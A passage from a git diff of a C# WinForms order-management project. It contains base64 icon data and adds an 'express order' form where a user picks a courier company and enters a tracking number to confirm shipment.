AAABAAEAgIAQWgAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzM + zMzMzMzMzMx3d4iIiIiIiIh3fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzMzMzMzMzHeIiIiIj/////////iIiIiId8zMzMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzMzMzMzMeIiI/////////////////////4iIh8zMzMzMzMzMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzMzMzMzHiI////////////////////////////iIfMzMzMzMzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMzMzMx3iP///////////////////////////////4iHzMzMzMzMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMzMzMx3iP//////////////////////////////////+IfMzMzMzMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzMzMx3iP/////////////////////////////////////4h8zMzMzMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzMzMzHiP////////////////////////////////////////h3zM + zMzMzMzMzMzMzMzGAAAABMzMzMzMzMzMzMzMzHiP//////////////////////////////////////// + //iHzMzMzMzMzMzMzMzMzEAAAAbMzMzMzMzMzMzMzMeI//////////////////////////////////// + ////////+IfMzMzMzMzMzMzMzMxgAABMzMzMzMzMzMzMzMx4//////////////////////////////// + //////////////+IfMzMzMzMzMzMzMzMxAAAbMzMzMzMzMzMzMzHj/////////////////////////// + /////////////////////4fMzMzMzMzMzMzMzMYAAMzMzMzMzMzMzMzMeP////////////////////// + ///////////////////////////4fMzMzMzMzMzMzMzMAAbMzMzMzMzMzMzMx4////////////////// + /////////////////////////////////4fMzMzMzMzMzMzMzGAGzMzMzMzMzMzMzHj///////////// + ///////////////////////////////////////4fMzMzMzMzMzMzMxgDMzMzMzMzMzMzMyI//////// + /////////////////////////////////////////////4zMzMzMzMzMzMzMwEzMzMzMzMzMzMzHj/// + //////////////////////////////////////////////////+HzMzMzMzMzMzMzMRszMzMzMzMzMzM + eP//////////////////////////////////////////////////////+HzMzMzMzMzMzMzGbMzMzMzM + zMzMzHj///////////////////////////////////////////////////////+MzMzMzMzMzMzMxmzM + zMzMzMzMzMyP////+IiP////////////////////////////////////////+I//////h8zMzMzMzMzM + zMZszMzMzMzMzMzHj////4iIiI//////////////////////////////////////+IiIj/////jMzMzM + zMzMzMzGbMzMzMzMzMzMyP////iIiIiI/////////////////////////////////////4iIiIj////4 + fMzMzMzMzMzMxszMzMzMzMzMzHj////4iIiIiP////////////////////////////////////+IiIiI + j////4zMzMzMzMzMzMbMzMzMzMzMzMx4////iIiIiIj////////////////////////////////////4 + iIiIiI////+HzMzMzMzMzMzMzMzMzMzMzMzMj////4iIiIiI//////////////+IiP//iI////////// + ////+IiIiIiP////h8zMzMzMzMzMzMzMzMzMzMzMzI/////4iIiIiP/////////////4d3eIiIeIj/// + //////////+IiIiIj/////jMzMzMzMzMzMzMzMzMzMzMzMyP////+IiIiIj/////////////iIiId3eI + iI//////////////iIiIiI/////4zMzMzMzMzMzMzMzMzMzMzMzHj/////+IiIiP/////////////4// + /4d4j/+P//////////////iIiIj/////+MzMzMzMzMzMzMzMzMzMzMzMx4//////+IiP//////////// + ///////4j///////////////////iIiP//////jMzMzMzMzMzMzMzMzMzMzMzMeP//////////+IiIj/ + ///////////////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzH//////////+H + fMx8eP//////////////////////////iId3iP//////////+HzMzMzMzMzMzMzMzMzMzMzMyP////// + ///4fMzHh8eP////////////////////////+MzMzMd4//////////h8zMzMzMzMzMzMzMzMzMzMzMf/ + ////////+MzMePjMeP///////////////////////4zMzMeHx4/////////4fMzMzMzMzMzMzMzMzMzM + zMzH/////////4fMd3eHzMeP//////////////////////iMzMzIiHx4////////+HzMzMzMzMzMzMzM + zMzMzMzMx/////////+Hx4iIfMzMj//////////////////////4h3d8x4h8yP////////jMzMzMzMzM + zMzMzMzMzMzMzMeP////////+HiP+IfMzI//////////////////////+HiIiHd3zHj////////4zMzM + zMzMzMzMzMzMzMzMzMzHj/////////h4//+HzMeP//////////////////////h4//h8zMyP//////// + +MzMzMzMzMzMzMzMzMzMzMzMzI/////////4iP//h8x4///////////////////////4j//4fMzHj/// + //////jMzMzMzMzMzMzMzMzMzMzMzMyP///////4iIiP+IfHj///////////////////////+Ij/+HzM + eP/////////4zMzMzMzMzMzMzMzMzMzMzMzMj///////iIiIiIh3eP////////////////////////+I + j4h8x3iI////////h8zMzMzMzMzMzMzMzMzMzMzMzH//////+Hj///iIiI////////////////////// + /////4iId4iIiIj//////4zMzMzMzMzMzMzMzMzMzMzMzMx4//////iP////iP////////////////// + /////////////4iP//iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMyP//////////+I////////////// + ///////////////////4eP//iP//////jMzMzMzMzMzMzMzMzMzMzMzMzMj///////////iP//////// + /////////////////////////4j/////////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////////// + //////////////////////////////+I//////////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////// + //////////////////////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + eP///////////////////////////////////////////////////////4zMzMzMzMzMzMzMzMzMzMzM + zMzMzMj///////////////////////////////////////////////////////h8zMzMzMzMzMzMzMzM + zMzMzMzMzMzHj//////////////////////////////////////////////////////4zMzMzMzMzMzM + zMzMzMzMzMzMzMzMzI//////////////////////////////////////////////////////h8zMzMzM + zMzMzMzMzMzMzMzMzMzMzMx4////////////////////////////////////////////////////+HzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMyI////+I//////////////////////////////////////////// + //h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+Ij///////////////////////////////////// + //////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP////+IiIiIj//////////////////////////4 + ////iI/////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMiP/////4iIiP////////////////////// + ////+IiIiIj/////iHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////////////////// + ///////////4iIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP//////////////////// + //////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiP////////////// + //////////////////////////////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHj///////// + ///////////////////////////////////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//// + ////////////////////////////////////////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI + j/////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMeP//////////////////////////////////////////////h8zMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMx4////////+I//////////////////////////////////////jMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMeP///////4iIj///////////////////////////iP///////4fMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMx4////////iIiIiP///////////////////////4iIiP///////4zMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIj///////+HzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIj////////////////////4iIiIiIj/////// + +MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiI////////////////////+IiIiIiI// + //////h8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiP////////////////////iIiI + iIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMj///////+IiIiIiIj/////iIiIiIiIj///// + /4iIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4////////iIiIiIiI/////4zMzMzMzM + j/////+IiIiIiIiP//////+HzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP//////+IiIiIiIj/////+MzM + zMzMzI//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iIiIiIiI//// + //jMzMzMzMyP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzMzMzMzMeP///////4iIiIiI + iP/////4zMzMzMzMj//////4iIiIiIiI///////4fMzMzMzMzMzMzMzMzMzMzMzMzMzMzI////////iI + iIiIiI//////+MzMzMzMzI//////+IiIiIiIiP///////4zMzMzMzMzMzMzMzMzMzMzMzMzMzMyP//// + ///4iIiIiIiP//////fMzMzMzMyP//////+IiIiIiIj///////+MzMzMzMzMzMzMzMzMzMzMzMzMzMzH + j///////+IiIiIiI//////+HzMzMzMzMeP//////iIiIiIiIj///////jMzMzMzMzMzMzMzMzMzMzMzM + zMzMyP////////iIiIiIiP//////jMzMzMzMzHj///////iIiIiIiI///////4fMzMzMzMzMzMzMzMzM + zMzMzMzMzMj///////+IiIiIiI///////4zMzMzMzMzI///////4iIiIiIiI///////3zMzMzMzMzMzM + zMzMzMzMzMzMzMzI////////iIiIiIiP//////+MzMzMzMzMyP//////+IiIiIiIiP//////+MzMzMzM + zMzMzMzMzMzMzMzMzMzMeP///////4iIiIiIj///////jMzMzMzMzMj///////+IiIiIiIj///////jM + zMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiIiP//////+HzMzMzMzMzHj///////iIiIiIiI//// + ///4zMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIiI////////jMzMzMzMzMzI///////4iIiIiI + iI//////+MzMzMzMzMzMzMzMzMzMzMzMzMzMj////////4iIiIiP///////4zMzMzMzMzMyP///////4 + iIiIiIiP//////jMzMzMzMzMzMzMzMzMzMzMzMzMzI////////+IiIiI////////h8zMzMzMzMzMeP// + /////4iIiIiIj//////4fMzMzMzMzMzMzMzMzMzMzMzMzMyP////////iIiIj////////4fMzMzMzMzM + zHj///////+IiIiIiI//////+HzMzMzMzMzMzMzMzMzMzMzMzMzHj/////////iIiP////////+MzMzM + zMzMzMzI////////+IiIiIiP//////h8zMzMzMzMzMzMxmzMzMzMzMzMx4/////////4iP/////////4 + fMzMzMzMzMzMx4////////+IiIiIj//////4fMzMzMzMzMzMzMZszMzMzMzMzMeP//////////////// + ////+MzMzMzMzMzMzMyP////////iIiIiP//////+HzMzMzMzMzMzMzGbMzMzMzMzMzH//////////// + //////////fMzMzMzMzMzMzMeP////////iIiIj///////98zMzMzMzMzMzMxmzMzMzMzMzMyP////// + //////////////+HzMzMzMzMzMzMzHj/////////+IiP////////jMzMzMzMzMzMzMZszMzMzMzMzMj/ + ////////////////////jMzMzMzMzMzMzMzIj////////////////////4zMzMzMzMzMzMzGTMzMzMzM + zMzH////////////////////+HzMzMzMzMzMzMzMx4////////////////////+MzMzMzMzMzMzMxAzM + zMzMzMzMx/////////////////////jMzMzMzMzMzMzMzMyI///////////////////4fMzMzMzMzMzM + zMAGzMzMzMzMzMeP//////////////////+HzMzMzMzMzMzMzMzMeP//////////////////+HzMzMzM + zMzMzMxgBszMzMzMzMzHj//////////////////4fMzMzMzMzMzMzMzMzMeP//////////////////h8 + zMzMzMzMzMzMYADMzMzMzMzMzI//////////////////+HzMzMzMzMzMzMzMzMzHj/////////////// + ///4zMzMzMzMzMzMzAAAbMzMzMzMzMyP/////////////////4fMzMzMzMzMzMzMzMzMzHj///////// + ////////+MzMzMzMzMzMzMYAAEzMzMzMzMzMj/////////////////+MzMzMzMzMzMzMzMzMzMzIj/// + /////////////4fMzMzMzMzMzMzEAAAGzMzMzMzMzHj////////////////4fMzMzMzMzMzMzMzMzMzM + x4////////////////+MzMzMzMzMzMzMYAAABMzMzMzMzMx4////////////////h8zMzMzMzMzMzMzM + zMzMzMx4///////////////4fMzMzMzMzMzMzEAAAABszMzMzMzMx4//////////////+HzMzMzMzMzM + zMzMzMzMzMzMx4//////////////+MzMzMzMzMzMzMYAAAAATMzMzMzMzMyP/////////////4fMzMzM + zMzMzMzMzMzMzMzMzMeI/////////////4fMzMzMzMzMzMzEAAAAAAbMzMzMzMzMeP////////////h8 + zMzMzMzMzMzMzMzMzMzMzMzMeI////////////h8zMzMzMzMzMzMYAAAAAAAbMzMzMzMzMeP//////// + //iHzMzMzMzMzMzMzMzMzMzMzMzMzMyI//////////+HzMzMzMzMzMzMxgAAAAAAAEzMzMzMzMzMeP// + //////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMx4/////////4fMzMzMzMzMzMzMQAAAAAAAAGzMzMzMzM + zMeI//////iHfMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx4j//////4h8zMzMzMzMzMzMxgAAAAAAAAAGzM + zMzMzMzMx4iIiIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzHiIj/+Ih3zMzMzMzMzMzMzGAAAAAAAA + AAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMx3iId8zMzMzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + AAAAAAAAAAA////+AAAAAAAAAAAAAAAAf////4AAAAAAAAAAAAAAAf/////gAAAAAAAAAAAAAAf///// + +AAAAAAAAAAAAAAf//////8AAAAAAAAAAAAA/////////gAAAAAAAAAAf////w== + + + \ No newline at end of file diff --git a/29WxOrder/OrderForms/ExpressOrderForm.Designer.cs b/29WxOrder/OrderForms/ExpressOrderForm.Designer.cs new file mode 100644 index 0000000..07a2edc --- /dev/null +++ b/29WxOrder/OrderForms/ExpressOrderForm.Designer.cs @@ -0,0 +1,158 @@ + +namespace _29WxOrder.OrderForms +{ + partial class ExpressOrderForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(ExpressOrderForm)); + this.panel1 = new System.Windows.Forms.Panel(); + this.panelEx6 = new DevComponents.DotNetBar.PanelEx(); + this.tbexpress_no = new DevComponents.DotNetBar.Controls.TextBoxX(); + this.cbexpress_name = new System.Windows.Forms.ComboBox(); + this.label2 = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).BeginInit(); + this.panel1.SuspendLayout(); + this.SuspendLayout(); + // + // pbCloseBase + // + this.pbCloseBase.Location = new System.Drawing.Point(328, 0); + // + // panel1 + // + this.panel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.panel1.BackColor = System.Drawing.Color.White; + this.panel1.Controls.Add(this.panelEx6); + this.panel1.Controls.Add(this.tbexpress_no); + this.panel1.Controls.Add(this.cbexpress_name); + this.panel1.Controls.Add(this.label2); + this.panel1.Controls.Add(this.label1); + this.panel1.Location = new System.Drawing.Point(2, 32); + this.panel1.Name = "panel1"; + this.panel1.Size = new System.Drawing.Size(355, 88); + this.panel1.TabIndex = 3; + // + // panelEx6 + // + this.panelEx6.CanvasColor = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx6.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx6.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelEx6.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx6.Font = new System.Drawing.Font("微软雅黑", 10F); + this.panelEx6.Location = new System.Drawing.Point(276, 9); + this.panelEx6.Name = "panelEx6"; + this.panelEx6.Size = new System.Drawing.Size(70, 61); + this.panelEx6.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx6.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx6.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.panelEx6.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx6.Style.CornerDiameter = 1; + this.panelEx6.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelEx6.Style.ForeColor.Color = System.Drawing.Color.White; + this.panelEx6.Style.GradientAngle = 90; + this.panelEx6.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx6.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx6.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx6.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx6.StyleMouseOver.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx6.StyleMouseOver.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(22)))), ((int)(((byte)(120)))), ((int)(((byte)(255))))); + this.panelEx6.TabIndex = 676; + this.panelEx6.Text = "确认发货"; + this.panelEx6.Click += new System.EventHandler(this.panelEx6_Click); + // + // tbexpress_no + // + // + // + // + this.tbexpress_no.Border.Class = "TextBoxBorder"; + this.tbexpress_no.Border.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.tbexpress_no.Location = new System.Drawing.Point(77, 49); + this.tbexpress_no.Name = "tbexpress_no"; + this.tbexpress_no.Size = new System.Drawing.Size(182, 21); + this.tbexpress_no.TabIndex = 551; + // + // cbexpress_name + // + this.cbexpress_name.FormattingEnabled = true; + this.cbexpress_name.Location = new System.Drawing.Point(77, 10); + this.cbexpress_name.Name = "cbexpress_name"; + this.cbexpress_name.Size = new System.Drawing.Size(182, 20); + this.cbexpress_name.TabIndex = 550; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.Location = new System.Drawing.Point(10, 52); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(65, 12); + this.label2.TabIndex = 1; + this.label2.Text = "物流单号:"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(10, 14); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(65, 12); + this.label1.TabIndex = 0; + this.label1.Text = "物流公司:"; + this.label1.Click += new System.EventHandler(this.label1_Click); + // + // ExpressOrderForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(360, 123); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "ExpressOrderForm"; + this.Text = "直接发货"; + this.TitleText = "直接发货"; + this.Load += new System.EventHandler(this.ExpressOrderForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label1; + private DevComponents.DotNetBar.Controls.TextBoxX tbexpress_no; + private System.Windows.Forms.ComboBox cbexpress_name; + private DevComponents.DotNetBar.PanelEx panelEx6; + } +} \ No newline at end of file diff --git a/29WxOrder/OrderForms/ExpressOrderForm.cs b/29WxOrder/OrderForms/ExpressOrderForm.cs new file mode 100644 index 0000000..924d0e8 --- /dev/null +++ b/29WxOrder/OrderForms/ExpressOrderForm.cs @@ -0,0 +1,44 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.BaseForms; + +namespace _29WxOrder.OrderForms +{ + public partial class ExpressOrderForm : BaseForm + { + public ExpressOrderForm() + { + InitializeComponent(); + } + public MainForm mainform; + public int types=0; + public string buyOrderId = ""; + + private void label1_Click(object sender, EventArgs e) + { + + } + + private void panelEx6_Click(object sender, EventArgs e) + { + mainform.logisticsAddOrder(buyOrderId, types, cbexpress_name.Text,tbexpress_no.Text); + } + + private void ExpressOrderForm_Load(object sender, EventArgs e) + { + foreach (var item in CollectionClass.ExpressList) + { + cbexpress_name.Items.Add(item.name); + } + + } + } +} diff --git a/29WxOrder/OrderForms/ExpressOrderForm.resx b/29WxOrder/OrderForms/ExpressOrderForm.resx new file mode 100644 index 0000000..21e47aa --- /dev/null +++ b/29WxOrder/OrderForms/ExpressOrderForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, 